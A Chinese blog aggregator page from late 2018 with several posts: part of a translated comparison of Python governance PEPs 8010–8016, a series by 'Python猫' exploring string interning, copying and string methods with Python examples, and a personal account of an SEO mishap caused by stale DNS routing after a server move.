有些 PEP(8010、8011 和 8014) 里几乎只关注于定义最高决策层,然而其它 PEP(8015 和 8016)还关注到核心开发者的选举/淘汰(eject)、如何更新治理提案,等等。我不知道前者是故意为之,还是因为时间不足而来不及完善。
PEP 8011、8014 和 8015 提到了多样性(译注:即决策层成员的多样性,如女性开发者),但却没有提到如何“促进”(enforce)多样性的详细规则。PEP-8011 说道:“尽全力去接纳弱势群体”(take every effort into including members from underrepresented group into consideration)。

最高决策层

  • PEP-8012 明确地避免它

  • PEP-8014 有一个长老会(Council of Elders),负责决定如何及何时批准 PEP,决定是基于对所有人开放的投票(详见下文关于 PEP 流程的部分)

其它 PEP 称之为技术领导人(Technical Leader),三巨头(Trio),理事会(Council), 指导委员会(Steering Committee), 等等。

成员人数

  • PEP 8010: 4 = 1 (领导人) + 3 (理事会)
  • PEP 8011: 3 (“trio”) + 工作组
  • PEP 8012: N/A (无领导,专家团队自治)
  • PEP 8013: 2-4 (含 1 名“主席”)
  • PEP 8014: 5-10 (理事会)
  • PEP 8015: 5 (委员会) + Python 团队
  • PEP 8016: 5 (委员会) (+ 其它团队/多委员会/代表,等等。据需求而定)

候选人

候选人的条件要求:
  • PEP 8010:核心开发者
  • PEP 8011:核心开发者、 PSF 的投票成员、三巨头、尽全力去接纳弱势群体
  • PEP 8012:N/A
  • PEP 8013:决不能是核心开发者
  • PEP 8014:不要求是核心开发者、“最好是多元化的委员会”、“成员应了解 Python 与 Python 社区”
  • PEP 8015:核心开发者、 最多 2 名企业成员
  • PEP 8016:由核心开发者提名、 最多 2 名企业成员

选举

谁投票,怎么投?
  • PEP 8010:核心开发者

  • PEP 8011:(现役的) 核心开发者

  • PEP 8012:N/A

  • PEP 8013:核心开发者;当出现平局,主席可再投一票

  • PEP 8014:投票对所有人开放(无需是核心开发者)

  • PEP 8015:核心开发者; 若平局则进行二次投票,若二次投票还是平局,则由 PSF 董事会(用于创建委员会,以及指导委员会) 做选择

  • PEP 8016:核心开发者;“若出现平局,可由候选人协商解决,要不然就随机选择”

##任期长度与限制
  • PEP 8010:4. 5 年 (领导人, 3 个 Python 版本); 3 年一届 (委员会)
  • PEP 8011:5 年
  • PEP 8012:N/A
  • PEP 8013:1 个 Python 版本, 无任期限制(译注:即可连任)
  • PEP 8014:“因为理事会的权力纯粹是程序性的,最好是让成员的服务时间长一点。但是,如果可以定期更新(reinstate)理事会,这也挺好”
  • PEP 8015:3 年,轮换选举 (每年更换1/3),无任期限制
  • PEP 8016:1 个 Python 版本, 无任期限制

不信任投票

  • PEP 8010:可用于驱逐(evict)领导人,理事会一致决定时发起, 由全体核心开发者进行多数决议(未明确多数决议的阈值)
  • PEP 8011:N/A
  • PEP 8012:N/A
  • PEP 8013:投票需要大于2/3票数,针对单个理事会成员
  • PEP 8014:1 名长老、或者 10 名核心开发者的团体、或者 PSF 投票成员,可以申请即时生效的投票,针对整个理事会
  • PEP 8015:N/A
  • PEP 8016:投票需要2/3票数,针对单个成员或整个委员会

团队/专家

  • PEP 8010:对单个 PEP,“GUIDO 与 CoP(译注:即 The Council of Pythonistas,智囊团,为GUIDO提供参谋意见) 协商,确定专家人选”
  • PEP 8011:工作组 (3-5 人),给三巨头提建议,无需是核心开发者
  • PEP 8012:专家自组织成特定兴趣领域的子团队。这避免了大多数投票和“委员会设计”。解散某个专家团队时,需要大于2/3票数。
  • PEP 8013:N/A
  • PEP 8014:N/A
  • PEP 8015:自组织式的 Python 团队,委员会可允许他们批准自己的 PEP (打包团队(Packaging Team)),核心开发者和贡献者
  • PEP 8016:N/A

PEP 流程

概括得最差的部分(译注:作者自嘲?),复查每个 PEP
  • PEP 8010:PEP 代表,GUIDO是 PEP 决策的最终权威
  • PEP 8011:三巨头和/或工作组?
  • PEP 8012:遵照现行的 PEP 流程。提案人确定 PEP 的选题方向。提案人负责收集与整合反馈(来自整个社区)。然后,相关领域的专家们汇总全部讨论,并开启为期 14 天的最终评审,其评审结果不再需要社区性的投票。如果一个 PEP 很有争议,任何专家成员都可发起动议(motion)来拒绝通过它(需2/3票数)
  • PEP 8013:如果理事会不否决,PEP 自动被批准
  • PEP 8014:投票对所有 Python 使用者开放(不仅仅是核心开发者)。理事会宣布投票结果是否足以作出决定。它提出了一个决定。如果理事会采纳了一个上诉(appeal),则获得多数票的一方需做出论证(demonstrated)
  • PEP 8015:委员会在 PEP 代表(一般来自 Python 团队)之间做选择,或者交给核心开发者投票,需大于2/3票数
  • PEP 8016:理事会在必要时可直接地批准/否决 PEP,但最好是设置流程来避免这样做决策(例如,将决策权委派给团队或者 BDFL 代表)

核心开发者

晋升
  • PEP 8010:N/A
  • PEP 8011:N/A
  • PEP 8012:核心开发者投票,每个-1都算作否决权(译注:要求全员投票通过)
  • PEP 8013:核心开发者投票,每个-1都算作否决权
  • PEP 8014:N/A
  • PEP 8015:核心开发者投票,需2/3票数
  • PEP 8016:核心开发者投票,需2/3票数,理事会有否决权
淘汰
  • PEP 8010:N/A
  • PEP 8011:N/A
  • PEP 8012:不信任投票,需大于2/3票数
  • PEP 8013:N/A
  • PEP 8014:N/A
  • PEP 8015:实施工作组临时禁令 => 移除核心开发者身份
  • PEP 8016:指导委员会投票,需大于4/5票数;非现役(inactive)的成员没有投票权

更新治理模式

  • PEP 8010:N/A
  • PEP 8011:N/A
  • PEP 8012:N/A
  • PEP 8013:N/A
  • PEP 8014:N/A
  • PEP 8015:委交给核心开发者,需4/5票数
  • PEP 8016:委交给核心开发者,需2/3票数

行为守则(Code of Conduct)

  • PEP 8010:行为守则管制所有互动与讨论
  • PEP 8011:三巨头需遵守 PSF 的行为守则
  • PEP 8012:依靠现有的 PSF 行为工作组 (在 PEP 中命名为“版主(Moderators)”)
  • PEP 8013:N/A
  • PEP 8014:N/A
  • PEP 8015:依靠现有的 PSF 行为工作组
  • PEP 8016:指导委员会被鼓励去设立 CoC 的流程,同时细节可以灵活制定
(原文完,以下内容为译者所加)

名词解释
PEP:全称是 Python Enhancement Proposals(Python 增强提案),现在数量将近500个,涵盖 Python 功能实现、规范与周边信息等各种内容。本文出现的 7 个提案,全是针对新的治理模式。若想加深理解 PEP,并找到哪些提案是必读的,可阅读我写的《学习Python,怎能不懂点PEP呢?》。
PSF:全称是 Python Software Foundation(Python 软件基金会),非营利组织,其使命是促进 Python 社区发展,负责举办各种社区活动,例如开发 Python 的核心发行版、管理知识产权、举办开发者大会(如PyCon)、促进多元与国际化、以及募集发展基金,等等。
BDFL:全称是 Benevolent Dictator For Life(终身仁慈独裁者),曾特指 Guido van Rossum,被赋予绝对的最终决策权。2018年7月12日,他宣布不再担任此身份。本文的全部 PEP 都是围绕如何选出新的 BDFL 以及配套的治理方案,该词不再特指某人。
译后记
这是我首次尝试翻译工作,其中的艰难之处真是知者自知。但是,当翻译完毕后,我所得的甘甜喜悦也真是知者自知!由于原文大部分内容都是极度概括性的短句,还有不少专有表述,所以,我采取的翻译策略是尽量达意,因此,难免有翻译错误和偏离原文之处,欢迎读者与我(公众号:Python猫 )交流指正。本文翻译乃个人行为,纯粹出于交流学习的目的,欢迎转载,但请保证注明出处,切勿用于商业或其它不良用途。

December 02, 2018 12:00 AM

December 01, 2018

pythoncat

join() 方法的神奇用处与 Intern 机制的软肋

上篇文章《Python是否支持复制字符串呢?》刚发出一会,@发条橙 同学就在后台留言,指出了一处错误。我一惊,马上去验证,竟然真的错了,而且在完全没意料到的地方!我开始以为只是疏漏,一细想,发现不简单,遇到了百思不得其解的问题了。所以,这篇文章还得再聊聊字符串。
照例先总结下本文内容:
(1)join() 方法除了在拼接字符串时速度较快,它还是目前看来最通用有效的复制字符串的方法
(2)Intern 机制(字符串滞留)并非万能的,本文探索一下它的软肋有哪些

1. join()方法不止是拼接

我先把那个问题化简一下吧:
ss0 = 'hi'
ss1 = 'h' + 'i'
ss2 = ''.join(ss0)

print(ss0 == ss1 == ss2) >>> True
print(id(ss0) == id(ss1)) >>> True
print(id(ss0) == id(ss2)) >>> False
上面代码中,奇怪的地方就在于 ss2 竟然是一个独立的对象!按照最初想当然的认知,我认定它会被 Intern 机制处理掉,所以是不会占用独立内存的。上篇文章快写完的时候,我突然想到 join 方法,所以没做验证就临时加进去,导致了意外的发生。
按照之前在“特权种族”那篇文章的总结,我对字符串 Intern 机制有这样的认识:

Python中,字符串使用Intern机制实现内存地址共用,长度不超过20,且仅包括下划线、数字、字母的字符串才会被intern;涉及字符串拼接时,编译期优化结果会与运行期计算结果不同。

为什么 join 方法拼接字符串时,可以不受 Intern 机制作用呢?
回看那篇文章,发现可能存在编译期与运行期的差别!
# 编译对字符串拼接的影响
s1 = "hell"
s2 = "hello"
"hell" + "o" is s2 
>>>True
s1 + "o" is s2 
>>>False
# "hell" + "o"在编译时变成了"hello",
# 而s1+"o"因为s1是一个变量,在运行时才拼接,所以没有被intern
实验一下,看看:
# 代码加上
ss3 = ''.join('hi')
print(id(ss0) == id(ss3)) >>> False
ss3 仍然是独立对象,难道这种写法还是在运行期时拼接?那怎么判断某种写法在编译期还是在运行期起作用呢?继续实验:
s0 = "Python猫"
import copy
s1 = copy.copy(s0)
s2 = copy.copy("Python猫")

print(id(s0) == id(s1))
>>> True
print(id(s0) == id(s2))
>>> False
看来,不能通过是否显性传值来判断。
那就只能从 join 方法的实现原理入手查看了。经某交流群的小伙伴提醒,可以去 Python Tutor 网站,看看可视化执行过程。但是,很遗憾,也没看出什么底层机制。
我找了分析 CPython 源码的资料(含上期荐书栏目的《Python源码剖析》)来学习,但是,这些资料只比较 join() 方法与 + 号拼接法在原理与使用内存上的差异,并没提及为何 Intern 机制对前者会失效,而对后者却是生效的。
现象已经产生,我只能暂时解释说,join 方法会不受 Intern 机制控制,它有独享内存的“特权”。
那就是说,其实有复制字符串的方法!上篇《Python是否支持复制字符串呢?》由于没有发现这点,最后得出了错误的结论!
由于这个特例,我要修改上篇文章的结论了:Python 本身并不限制字符串的复制操作,CPython 解释器出于优化性能的考虑,加入了一些小把戏,试图使字符串对象在内存中只有一份,尽管如此,仍存在有效复制字符串的方法,那就是 join() 方法。

2. Intern 机制失效的情况

join() 方法的神奇用处使我不得不改变对 Intern 机制的认识,本小节就带大家重新学习一下 Intern 机制吧。
所谓 Intern 机制,即字符串滞留(string interning),它通过维护一个字符串常量池(string intern pool),从而试图只保存唯一的字符串对象,达到既高效又节省内存地处理字符串的目的。
在创建一个新的字符串对象后,Python 先比较常量池中是否有相同的对象(interned),有的话则将指针指向已有对象,并减少新对象的指针,新对象由于没有引用计数,就会被垃圾回收机制回收掉,释放出内存。
Intern 机制不会减少新对象的创建与销毁,但最终会节省出内存。这种机制还有另一个好处,即被 Interned 的相同字符串作比较时,几乎不花时间。实验数据如下(资料来源:http://t.cn/ELu9n7R):
Intern 机制的大致原理很好理解,然而影响结果的还有 CPython 解释器的其它编译及运行机制,字符串对象受到这些机制的共同影响。实际上,只有那些“看起来像” Python 标识符的字符串才会被处理。源代码StringObject.h的注释中写道:

/* … … This is generally restricted to strings that “looklike” Python identifiers, although the intern() builtin can be used to force interning of any string … … */

这些机制的相互作用,不经意间带来了不少混乱的现象:
# 长度超过20,不被intern VS 被intern
'a' * 21 is 'aaaaaaaaaaaaaaaaaaaaa'
>>> False
'aaaaaaaaaaaaaaaaaaaaa' is 'aaaaaaaaaaaaaaaaaaaaa'
>>> True

# 长度不超过20,不被intern VS 被intern
s = 'a'
s * 5 is 'aaaaa'
>>> False
'a' * 5 is 'aaaaa'
>>> True


# join方法,不被intern VS 被intern
''.join('hi') is 'hi'
>>> False
''.join('h') is 'h'
>>> True

# 特殊符号,不被intern VS 被"intern"
'python!' is 'python!'
>>> False
a, b = 'python!', 'python!'
a is b
>>> True
这些现象当然都能被合理解释,然而由于不同机制的混合作用,就很容易造成误会。
比如第一个例子,很多介绍 Intern 机制的文章在比较出 'a' * 21 的id有变化后,就认为 Intern 机制只对长度不超过20的字符串生效,可是,当看到长度超过20的字符串的id还相等时,这个结论就变错误了。
当加入常量合并(Constant folding) 的机制后,长度不超过20的字符串会被合并的现象才得到解释。
可是,在 CPython 的源码中,只有长度不超过1字节的字符串才会被 intern ,为何长度超标的情况也出现了呢?
再加入 CPython 的编译优化机制,才能解释。
所以,看似被 intern 的两个字符串,实际可能不是 Intern 机制的结果,而是其它机制的结果。同样地,看似不能被 intern 的两个字符串,实际可能被其它机制以类似方式处理了。
如此种种,便提高了理解 Intern 机制的难度。
就我在上篇文章中所关心的“复制字符串”话题而言,只有当 Intern 机制与其它这些机制统统失效时,才能做到复制字符串。目前看来,join 方法最具通用性。

3. 学习的方法论

总而言之,因为重新学习 join 方法的神奇用处与 Intern 机制的例外情况,我得以修正上篇文章的错误。在此过程中,我得到了新的知识,以及思考学习的乐趣。
《超人》电影中有一句著名的台词,在今年上映的《头号玩家》中也出现了:

有的人从《战争与和平》里看到的只是一个普通的冒险故事,

有的人则能通过阅读口香糖包装纸上的成分表来解开宇宙的奥秘。

我读到的是一种敏锐思辨的思想、孜孜求索的态度和以小窥大的方法。作为一个低天赋的人,受此鼓舞,我会继续追问那些看似没意义的问题(“如何删除字符串”、“如何复制字符串”…),一点一点地学习 Python ,以我的方式理解它。同时,希望能给我的读者们带来一些收获。

December 01, 2018 12:00 AM

November 28, 2018

pythoncat

Python 是否支持复制字符串呢?

连续几篇文章都在写 Python 字符串,这出乎我的意料了。但是,有的问题,不写不行,特别是那种灵机一动想到的问题,最后你发现,很多人根本不懂却又误以为自己懂了。那就继续刨根问底,探究个明白吧。
在上一篇文章《你真的知道Python的字符串怎么用吗?》里,我突发奇想,将字符串跟列表做了比较,然后发现字符串竟然没有复制的方法。当时没有细想,只说要搁置疑问。
过后,有好学的小伙伴在后台留言,与我交流这个问题,给了我一些启发。为了彻底弄懂它,我继续查了不少资料,今天,就跟大家分享一下我发现的东西吧。
本文标题的问题分为两部分:(1)Python 中是否支持复制字符串?(2)如果不支持,为什么不支持?
请读者花几分钟想一下,想清楚后,把你的答案记住,然后再往下看。
让我们做一个约定(自愿遵守):如果看到最后,你推翻了现在的答案,建立了新的认知,这说明我写的内容有用,那请你任意赞赏,或者将本文分享给其他使用 Python 的小伙伴。

1. 什么是复制字符串?

首先,必须要大家对“复制”这个概念达成共识。复制,也叫拷贝,英文单词是 copy,具体意思是“将某事物通过某种方式制作成相同的一份或多份的行为”(释义来自维基百科)。复制的结果是,出现了多份极其相似但却相互独立的事物(副本),举例来说,你有一份文档 X,然后复制一份并重新命名为 Y,这两者是相互独立的,若你删除其中一个,另一个不会一起被删除。
这个词用在 Python 里,我们想表达的是同样的意思,即复制行为会产生新的独立对象,它与原始对象极其相似,但两者的生命周期没有直接的关联关系。下面先用列表来举例:
list1 = [1,2]
id(list1) 
>>> 1981119454856

list2 = list1.copy()
print(list1 == list2) 
>>> True
id(list2)
>>> 1981116983752
上例中,列表 list2 是 list1 的副本,两者字面量相等,但是内存地址(即 id )不相等,是两个相互独立的对象。如果字符串能够做到同样的效果,那我们就说,字符串可以被复制,否则,我们说字符串不可以被复制。

2. 怎样能复制字符串?

有了上面的概念和示例,请先思考,你会用什么方式复制字符串呢?(暂停,思考3分钟)
好了,先看看下面的几种方法:
s0 = "Python猫"

s1 = s0
s2 = str(s0)
s3 = s0[:]
s4 = s0 + ''
s5 = '%s' % s0
s6 = s0 * 1
s7 = "".join(s0)
import copy
s8 = copy.copy(s0)
你想到的复制方式是否在以上8种方式里呢?那么,如果把 s0 至 s8 的 id 打印出来,有哪些会跟 s0 不同呢?
答案是,它们的内存地址 id 完全相同,也就是说,一顿操作猛如虎,结果却始终只有一份字符串,根本没有复制出新的字符串!
Python猫 的老读者看到这,会心一笑,这不就是因为字符串的 Intern 机制嘛,短字符串在内存中只会存在一份,在《Python中的“特权种族”是什么?》这篇文章里提到过的。
但请别开心得太早,你可以把 s0 改成一个超长的字符串,例如:

s0 = “Python猫是来自喵星的客人,它喜欢地球和人类,正在学习Python,而且想借助Python变成人,它的微信公众号也叫Python猫,欢迎你关注哦,喵喵喵喵~~~~~~~”

然后,再重复上面的操作。最终,你会发现,s0 到 s8 的 id 还是完全相同。
是不是吃惊了呢?新的 s0 明明已经超过 Intern 机制的长度了,为什么不会产生新的字符串呢?
首先,请你相信,超出 Intern 机制的字符串可以存在多份,即你可以创建出值完全相同的多个字符串对象,因为字符串对象在内存中并不一定是唯一的:
s9 = "Python猫是来自喵星的客人,它喜欢地球和人类,正在学习Python,而且想借助Python变成人,它的微信公众号也叫Python猫,欢迎你关注哦,喵喵喵喵~~~"

print(id(s0) == id(s9))
>>> False 
上例表明,你可以创建出多个相同的字符串对象,但是这种方法与前面列举的8种不同,因为它是独立于 s0 的操作,并不是一种复制操作。从理论上讲,Python 完全可以提供一个方法,达到复制出新的副本的结果。现在的问题恰恰就是:为什么允许存在多个相等的字符串对象,但是却无法通过复制的方式来创建呢?

3. 为什么不允许复制字符串?

我发现,不仅字符串不允许复制,元组也如此,事实上,还有 int 、float 也不支持复制。它们都是不可变对象,为什么不可变对象就不支持复制操作呢?
在查资料的时候,我发现网上很多文章对于“不可变对象”的认识存在误区,这些人不知道 Intern 机制的存在,误以为字符串对象在内存只能有唯一一个,进而误以为不可变对象就是在内存中只有一份的对象。所以,这些文章很容易推断出错误的结论:因为字符串是不可变对象,所以字符串不支持复制。
事实上,不可变对象跟复制操作之间,并没有必然的强相关的关系。肯定是出于别的原因,设计者才给不可变对象加上这种限制,这个原因是什么呢?
在知乎上,有敏锐的同学提出了我的疑问“Python中如何复制一个值或字符串?”,可惜只有4个回答,而且都没答到点上。Stackoverflow上恰好也有一个问题“How can I copy a Python string?”,同样没多少人注意到,只有5个回答,好在最高票答案提到了一个点,即这样可以加快字典的查找速度。
然而,他说的这个点并不靠谱。字典要求键值是可哈希对象,可是计算字符串的哈希值是根据字面值计算,所以对多个相等的字符串对象,其哈希值其实是一样的,对计算和查找根本无影响。
w1 = "Python猫是来自喵星的客人,它喜欢地球和人类,正在学习Python,而且想借助Python变成人,它的微信公众号也叫Python猫,欢迎你关注哦,喵喵喵喵~~~"
w2 = "Python猫是来自喵星的客人,它喜欢地球和人类,正在学习Python,而且想借助Python变成人,它的微信公众号也叫Python猫,欢迎你关注哦,喵喵喵喵~~~"

print(w1 == w2) 
>>> True
print(id(w1) == id(w2)) 
>>> False 
print(hash(w1) == hash(w2)) 
>>> True
继续查资料,终于在《流畅的Python》找到了明确的解释:

这些细节是 CPython 核心开发者走的捷径和做的优化措施,对这门语言的用户而言无需了解,而且那些细节对其他 Python 实现可能没用,CPython 未来的版本可能也不会用。

这本《流畅的Python》是进阶首选书目之一,我曾读过部分章节,没想到在一个不起眼的小节里,作者 “惊讶地发现” 元组的不可复制性,在此之前,他还自以为“对元组无所不知”,哈哈哈。
虽然,我早猜测到原因是节省内存和提高速度,但看到这个明确的解释,知道这只是CPython 解释器的“善意的谎言”,而且在未来版本可能不会用,我感到特别意外。
它证实了我的猜测,同时,也提供了超预期的信息:其它 Python 解释器可能支持复制不可变对象,目前 CPython 算是一种妥协,在未来可能会恢复不可变对象的复制操作呢!
回到文章开头的两个问题,我们得到的答案是:Python 本身并不限制字符串的复制操作,只是当前版本的 CPython 做了优化,才导致出现这种“善意的谎言”,它这么做的原因为了对 Intern 机制做补充,设法使全部字符串对象在内存都只有一份,以达到节省内存的效果。
CPython 是用 C 语言实现的 Python 解释器,是官方的、使用最广泛的解释器。除了它,还有用 Java 实现的 Jython 解释器、用 .NET 实现的 IronPython 解释器、用 Python 实现的 PyPy 解释器,等等。其它解释器都是怎么应对字符串的复制操作的呢?唉,学无止境,本人才疏学浅没有涉猎,还是先搁置疑问吧。
这里,我就想提一个题外话,Python 最最最广为人诟病的就是 GIL(全局解释器锁),这导致它不支持真正意义的多线程,成为很多人指责 Python 慢的元凶。但是,这个问题是 CPython 解释器带来的,而像 Jython 解释器就不存在这个问题。
好了,就此打住吧。你是否还记得在文章开头时想到的答案呢?是否改变了最初的想法呢?欢迎关注公众号 Python猫 ,来跟我交流,一起来学习 Python ,做个合格的 Pythonista
参考学习:
《流畅的Python》
update:文中有一个大错误,请查看下篇解析《join() 方法的神奇用处与 Intern 机制的软肋

November 28, 2018 12:00 AM

November 27, 2018

anji66

记一次马虎大意造成的熊掌号不收录的SEO事故

双十一的余温还没结束,说好不剁手的,结果双十一还是没经得起阿里云的诱惑,2核8G5M的服务器2070,割割肉,买。11月9号开开心心的把网站数据转移到新服务器上,然后这些天看着服务器负载低的可怕,就连装软件CPU都跑不满,又着实开始心疼钱了,这真是改不了的穷人属性。



最近本职工作之余一直忙着存量客户的备案真实性问题,也没撸码也没啥技术问题学习的,11月后更的两篇水文,一直没见百度收录,就挺奇怪的,排查了一下,之前程序多有调整,不知道什么时候把推送给注释了,就手给改了过来,再次手动提交了三个链接,过了两天百度反馈的结果是抓取失败1类错误,导出错误结果是404,网页无法访问。就尝试了一下常规的排查。


我首先看了下之前的收录链接,通过百度出来的链接是否能正常访问,点击访问一切正常。也就没怎么当回事了,毕竟我做的是佛系道系SEO。想想估计可能提交的时候服务器偶然宕机了吧,于是又耽搁了下来,这两天在阿里云买的域名VIPDNS到期了,通知我续费,就把域名解析点开了,想查下免费的DNS和收费的DNS有啥区别。其实问题就在这里,只是这个时候我还是没联想起来。


前天,我的SSL到期了,更换SSL的时候,原本想通过断开CDN,用A记录解析后通过宝塔自动拉取SSL的,结果在看解析记录的时候发现握艹,我的解析记录条数都已经两页了呀,好奇看了一下每条解析记录,翻到第二页的时候,发现我解析搜索引擎线路的时候是直接回源到主机IP的,而这个熟悉的IP我已经到了哇,从T5突发性能的茅草屋搬到别墅豪宅了,靠,一瞬间想起为啥百度索引反馈是404了,蜘蛛被我自己引到坑里了。然后我百度site了一下,好家伙,快照只剩25个了,赶紧把搜索引擎线路解析到新主机上,做好这一切,又手动提交了一下最新的三篇水文。静待今天百度反馈的结果了。


还好,今天早上再次site的时候,快照已经恢复了,再晚个几天,我怕是要被百度K站了。最后,告诫下有换服务器的小伙伴们,你们域名如果做了搜索引擎线路回源的话,一定要记得去改过来。


by 西枫里 at November 27, 2018 04:34 AM

November 24, 2018

pythoncat

你真的知道Python的字符串怎么用吗?

正如《你真的知道Python的字符串是什么吗?》所写,Python 中字符串是由 Uniocde 编码的字符组成的不可变序列,它具备与其它序列共有的一些操作,例如判断元素是否存在、拼接序列、切片操作、求长度、求最值、求元素的索引位置及出现次数等等。
除此之外,它还有很多特有的操作,值得我们时常温故学习,所以,今天我就跟大家继续聊聊字符串。
本文主要介绍 Python 字符串特有的操作方法,比如它的拼接、拆分、替换、查找及字符判断等使用方法,辨析了一些可能的误区。最后,还做了两个扩展思考:为什么 Python 字符串不具备列表类型的某些操作呢,为什么它不具备 Java 字符串的一些操作呢?两相比较,希望能帮助你透彻地理解——Python 的字符串到底怎么用?

0. 拼接字符串

字符串的拼接操作最常用,我专门为这个话题写过一篇《详解Python拼接字符串的七种方式》,建议你回看。
在此,简单回顾一下:七种拼接方式从实现原理上划分为三类,即格式化类(%占位符、format()、template)、拼接类(+操作符、类元祖方式、join())与插值类(f-string),在使用上,我有如下建议——

当要处理字符串列表等序列结构时,采用join()方式;拼接长度不超过20时,选用+号操作符方式;长度超过20的情况,高版本选用f-string,低版本时看情况使用format()或join()方式。

不敢说字符串就只有这七种拼接方式,但应该说它们是最常见的了。有小伙伴说,我写漏了一种,即字符串乘法 ,可以重复拼接自身。没错,从结果上看,这是第八种拼接方式,视为补充吧。
关于字符串拼接,还得补充一个建议,即在复杂场景下,尽量避免使用以上几类原生方法,而应该使用外置的强大的处理库。比如在拼接 SQL 语句的时候,经常要根据不同的条件分支,来组装不同的查询语句,而且还得插入不同的变量值,所以当面临这种复杂的场景时,传统拼接方式只会加剧代码的复杂度、降低可读性和维护性。使用 SQLAlchemy 模块,将有效解决这个问题。

1. 拆分字符串

在字符串的几种拼接方法中,join() 方法可以将列表中的字符串元素,拼接成一个长的字符串,与此相反,split() 方法可以将长字符串拆分成一个列表。前面已说过,字符串是不可变序列,所以字符串拆分过程是在拷贝的字符串上进行,并不会改变原有字符串。
split() 方法可接收两个参数,第一个参数是分隔符,即用来分隔字符串的字符,默认是所有的空字符,包括空格、换行(\n)、制表符(\t)等。拆分过程会消耗分隔符,所以拆分结果中不包含分隔符。
s = 'Hello world'
l = '''Hi there , my name is     Python猫
Do you like me ?
'''

# 不传参数时,默认分隔符为所有空字符
s.split() >>> ['Hello', 'world']
s.split(' ') >>> ['Hello', 'world']
s.split('  ') >>> ['Hello world'] # 不存在两个空格符
s.split('world') >>> ['Hello', '']

# 空字符包括空格、多个空格、换行符等
l.split() >>> ['Hi', 'there', ',', 'my', 'name', 'is', 'Python猫', 'Do', 'you', 'like', 'me', '?']
split() 方法的第二个参数是一个数字,默认是缺省,缺省时全分隔,也可以用 maxsplit 来指定拆分次数。
# 按位置传参
l.split(' ',3)
>>> ['Hi', 'there', ',', 'my name is     Python 猫\nDo you like me ?\n']

# 指定传参
l.split(maxsplit=3)
>>> ['Hi', 'there', ',', 'my name is     Python 猫\nDo you like me ?\n']

# 错误用法
l.split(3)
---------------
TypeError  Traceback (most recent call last)
<ipython-input-42-6c16d1a50bca> in <module>()
----> 1 l.split(3)
TypeError: must be str or None, not int
split() 方法是从左往右遍历,与之相对,rsplit() 方法是从右往左遍历,比较少用,但是会有奇效。
拆分字符串还有一种方法,即 splitlines() ,这个方法会按行拆分字符串,它接收一个参数 True 或 False ,分别决定换行符是否会被保留,默认值 False ,即不保留换行符。
# 默认不保留换行符
'ab c\n\nde fg\rkl\r\n'.splitlines()
>>> ['ab c', '', 'de fg', 'kl']

'ab c\n\nde fg\rkl\r\n'.splitlines(True)
>>> ['ab c\n', '\n', 'de fg\r', 'kl\r\n']

2. 替换字符串

替换字符串包括如下场景:大小写替换、特定符号替换、自定义片段替换…
再次说明,字符串是不可变对象,以下操作并不会改变原有字符串。
以上这些方法都很明了,使用也简单,建议你亲自试验一下。这里只说说 strip() 方法,它比较常用,可以去除字符串前后的空格,不仅如此,它还可以删除首末位置的指定的字符。
s = '******Hello world******'
s.strip('*') >>> 'Hello world'

3. 查找字符串

查找字符串中是否包含某些内容,这是挺常用的操作。Python 中有多种实现方式,例如内置的 find() 方法,但是这个方法并不常用,因为它仅仅告诉你所查找内容的索引位置,而在通常情况下,这个位置并不是我们的目的。
find() 方法与 index() 方法的效果一样,它们的最大的区别只在于,找不到内容时的返回值不同,一个返回 -1,一个抛出异常 :
s = 'Hello world'

s.find('cat') >>>  -1

s.index('cat') 
>>> ValueError  Traceback (most recent call last)
<ipython-input-55-442007c50b6f> in <module>()
----> 1 s.index('cat')

ValueError: substring not found
以上两个方法,只能用来满足最简单的查找需求。在实战中,我们常常要查找特定模式的内容,例如某种格式的日期字符串,这就得借助更强大的查找工具了。正则表达式和 re 模块就是这样的工具,正则表达式用来定制匹配规则,re 模块则提供了 match() 、find() 及 findall() 等方法,它们组合起来,可以实现复杂的查找功能。限于篇幅,今后再对这两大工具做详细介绍,这里有一个简单的例子:
import re
datepat = re.compile(r'\d+/\d+/\d+')
text = 'Today is 11/21/2018. Tomorrow is 11/22/2018.'
datepat.findall(text)
>>> ['11/21/2018', '11/22/2018']

4. 字符判断

判断字符串是否(只)包含某些字符内容,这类使用场景也很常见,例如在网站注册时,要求用户名只能包含英文字母和数字,那么,当校验输入内容时,就需要判断它是否只包含这些字符。其它常用的判断操作,详列如下:

5. 字符串不可以做的事

上文内容都是 Python 字符串特有的操作方法,相信读完之后,你更清楚知道 Python 能够做什么了。
但是,这还不足以回答本文标题的问题——你真的知道 Python 的字符串怎么用吗?这些特有的操作方法,再加上之前文章提到的序列共有的操作、字符串读写文件、字符串打印、字符串Intern机制等等内容,才差不多能够回答这个问题。
尽管如此,为了体现严谨性,我试着再聊聊“Python 字符串不可以做的事”,从相反的维度来补充回答这个问题。下面是开拓思维,进行头脑风暴的时刻:
(1)受限的序列
与典型的序列类型相比,字符串不具备列表的如下操作:append()、clear()、copy()、insert()、pop()、remove(),等等。这是为什么呢?
有几个很好理解,即append()、insert()、pop() 和 remove(),它们都是对单个元素的操作,但是,字符串中的单个元素就是单个字符,通常没有任何意义,我们也不会频繁对其做增删操作,所以,字符串没有这几个方法也算合理。
列表的 clear() 方法会清空列表,用来节省内存空间,其效果等同于 anylist[:] = [] ,但是,奇怪的是,Python 并不支持清空/删除操作。
首先,字符串没有 clear() 方法,其次,它是不可变对象,不支持这种赋值操作 anystr[:] = '' ,也不支持 del anystr[:] 操作:
s = 'Hello world'

s[:] = ''
>>> 报错:TypeError: 'str' object does not support item assignment

del s[:]
>>> 报错:TypeError: 'str' object does not support item deletion
当然,你也别想通过 del s 来删除字符串,因为变量名 s 只是字符串对象的引用 (挖坑,以后写写这个话题),只是一个标签,删除标签并不会直接导致对象实体的消亡。
如此看来,想要手动清空/删除 Python 字符串,似乎是无解。
最后还有一个 copy() 方法,这就是拷贝嘛,可是字符串也没有这个方法。为什么呢?难道拷贝字符串的场景不多么?在这点上,我也没想出个所以然来,搁置疑问。
通过以上几个常用列表操作的比较,我们可以看出字符串这种序列是挺受限的。列表可以看成多节车厢链接成的火车,而字符串感觉就只像多个座椅联排成的长车厢,真是同源不同相啊。
(2)比就比,谁怕谁
接下来,又到了 Python 字符串与 Java 字符串 PK 的时刻。在上一篇文章《你真的知道Python的字符串是什么吗?》中,它们已经在对象定义的角度切磋了两回合,胜利的天平倒向了 Python,这次看看会比出个啥结果吧。
Java 中有 比较字符串 的方法,即 compareTo() 方法与 equals() 方法,前一个方法逐一比较两个字符串的字符编码,返回一个整型的差值,后一个方法在整体上比较两个字符串的内容是否相等。
Python 字符串没有这两个单独的方法,但要实现类似的功能却很简便。 先看例子:
myName = "Python猫"
cmpName = "world"
newName = myName

